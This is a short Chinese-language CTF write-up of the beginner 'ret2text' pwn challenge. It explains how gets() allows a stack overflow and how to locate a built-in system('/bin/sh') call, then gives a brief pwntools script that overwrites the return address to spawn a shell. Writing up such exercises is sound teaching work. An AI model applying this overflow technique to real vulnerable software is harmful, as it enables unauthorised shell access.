分析
chmod 777 文件名 开启权限
1.先查看安全防护机制 :checksec ret2text
2.将文件拖入IDA中，反汇编发现代码中出现gets函数。我们知道gets函数是一个无线读取的函数。只要我们的栈空间足够大，我们就可以输入无线的字符。注： 这也是漏洞的所在地
3.我们先进文件头拖入IDA中的时候，在主页面找找有没有/bin/sh了类似的字符串。
图片.png
在 secure函数又发现了存在调用 system("/bin/sh") 的代码，那么如果我们直接控制程序返回至 0x0804863A，那么就可以得到系统的 shell 了4.我们进入
kali将断点我们发现的/bin/sh处，当程序运行到我们secure处会直接得到系统的shell.
实践
1.
图片.png
esp：0xffffd0b0s(输入字节的地址)：
图片.png
sbp：0xffffd138
注：我们的s是数据开始输入的地址
思路：我们知道了：数据中可以利用数据段的地址，栈空间的大小
代码
##!/usr/bin/env python
from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()
图片.png
网友评论